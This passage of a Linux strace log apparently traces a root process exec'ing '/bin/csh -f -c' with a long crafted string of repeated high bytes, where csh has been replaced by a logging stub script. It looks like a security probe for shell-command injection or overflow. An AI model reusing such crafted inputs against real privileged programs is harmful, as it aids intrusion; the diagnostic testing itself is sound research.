rt_sigaction(SIGSEGV, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGUNUSED, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGPIPE, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGALRM, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGTERM, {SIG_IGN}, NULL, 8) = 0

rt_sigaction(SIGXCPU, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGXFSZ, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGVTALRM, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGPROF, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGUSR1, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGUSR2, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGINT, {SIG_DFL}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGCHLD, {SIG_IGN}, {0x805c190, [], 0x4000000}, 8) = 0

execve("/bin/csh", ["/bin/csh", "-f", "-c", "\352\352\352\352\352\352\352\340\352\352\352\352\352\352"...], [/* 25 vars */]) = 0

brk(0)                                  = 0x80994a0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY)      = -1 ENOENT (No such file or directory)

open("/lib/i686/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/lib/i686/mmx", 0xbffff398)       = -1 ENOENT (No such file or directory)

open("/lib/i686/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/lib/i686", 0xbffff398)           = -1 ENOENT (No such file or directory)

open("/lib/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/lib/mmx", 0xbffff398)            = -1 ENOENT (No such file or directory)

open("/lib/libtermcap.so.2", O_RDONLY)  = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 4096

old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40015000

mprotect(0x40018000, 3016, PROT_NONE)   = 0

old_mmap(0x40018000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x2000) = 0x40018000

close(1)                                = 0

open("/lib/libc.so.6", O_RDONLY)        = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40019000

mprotect(0x40106000, 30812, PROT_NONE)  = 0

old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0xec000) = 0x40106000

old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4010a000

close(1)                                = 0

mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0

mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0

personality(PER_LINUX)                  = 0

getpid()                                = 1004

getuid()                                = 0

getgid()                                = 0

geteuid()                               = 0

getegid()                               = 0

brk(0)                                  = 0x80994a0

brk(0x80994c0)                          = 0x80994c0

brk(0x809a000)                          = 0x809a000

time(NULL)                              = 1021504250

rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGHUP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGHUP, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

rt_sigaction(SIGINT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGILL, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGTRAP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGABRT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGFPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGBUS, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGSEGV, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGUNUSED, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGPIPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGTERM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGTERM, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

rt_sigaction(SIGXCPU, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGXFSZ, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGVTALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGPROF, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGUSR1, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGUSR2, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0

rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0

socket(PF_UNIX, SOCK_STREAM, 0)         = 1

connect(1, {sin_family=AF_UNIX, path="                                                                                       /var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused)

close(1)                                = 0

open("/etc/nsswitch.conf", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/lib/libnss_compat.so.2", O_RDONLY) = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=219843, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\31\0\000"..., 4096) = 4096

old_mmap(NULL, 45036, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4010e000

mprotect(0x40118000, 4076, PROT_NONE)   = 0

old_mmap(0x40118000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x9000) = 0x40118000

close(1)                                = 0

open("/lib/libnsl.so.1", O_RDONLY)      = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=370141, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20?\0\000"..., 4096) = 4096

old_mmap(NULL, 88104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40119000

mprotect(0x4012b000, 14376, PROT_NONE)  = 0

old_mmap(0x4012b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x11000) = 0x4012b000

old_mmap(0x4012d000, 6184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000

close(1)                                = 0

brk(0x809b000)                          = 0x809b000

open("/etc/nsswitch.conf", O_RDONLY)    = -1 ENOENT (No such file or directory)

uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

open("/etc/passwd", O_RDONLY)           = 1

fcntl(1, F_GETFD)                       = 0

fcntl(1, F_SETFD, FD_CLOEXEC)           = 0

fstat64(0x1, 0xbffff550)                = -1 ENOSYS (Function not implemented)

fstat(1, {st_mode=S_IFREG|0644, st_size=60, ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4012f000

_llseek(1, 0, [0], SEEK_CUR)            = 0

read(1, "root:x:0:0:root:/:/bin/bash\ntest"..., 4096) = 60

close(1)                                = 0

munmap(0x4012f000, 4096)                = 0

uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

open("/lib/libnss_files.so.2", O_RDONLY) = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=246652, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p \0\000"..., 4096) = 4096

old_mmap(NULL, 36384, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4012f000

mprotect(0x40137000, 3616, PROT_NONE)   = 0

old_mmap(0x40137000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x7000) = 0x40137000

close(1)                                = 0

brk(0x809c000)                          = 0x809c000

brk(0x809e000)                          = 0x809e000

getcwd("/", 4095)                       = 2

getpid()                                = 1004

getppid()                               = 1003

stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

stat("/usr/kerberos/bin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)

stat("/usr/kerberos/bin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)

stat("/sbin/sh", 0xbffff6b0)            = -1 ENOENT (No such file or directory)

stat("/usr/sbin/sh", 0xbffff6b0)        = -1 ENOENT (No such file or directory)

stat("/bin/sh", {st_mode=S_IFREG|0755, st_size=316848, ...}) = 0

getpgrp()                               = 1004

fcntl(-1, F_SETFD, FD_CLOEXEC)          = -1 EBADF (Bad file descriptor)

rt_sigaction(SIGCHLD, {0x805c190, [], 0x4000000}, {SIG_IGN}, 8) = 0

open("/bin/csh", O_RDONLY)              = 1

lseek(1, 0, SEEK_CUR)                   = 0

read(1, "#!/bin/sh\necho \"I was called wit"..., 80) = 73

lseek(1, 0, SEEK_SET)                   = 0

fcntl(1, F_SETFD, FD_CLOEXEC)           = 0

fcntl(1, F_GETFL)                       = 0 (flags O_RDONLY)

fstat(1, {st_mode=S_IFREG|0755, st_size=73, ...}) = 0

lseek(1, 0, SEEK_CUR)                   = 0

read(1, "#!/bin/sh\necho \"I was called wit"..., 73) = 73

brk(0x809f000)                          = 0x809f000

open("/tmp/csh.out", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 2

fcntl(1, F_GETFD)                       = 0x1 (flags FD_CLOEXEC)

fcntl(1, F_DUPFD, 10)                   = 10

fcntl(1, F_GETFD)                       = 0x1 (flags FD_CLOEXEC)

fcntl(10, F_SETFD, FD_CLOEXEC)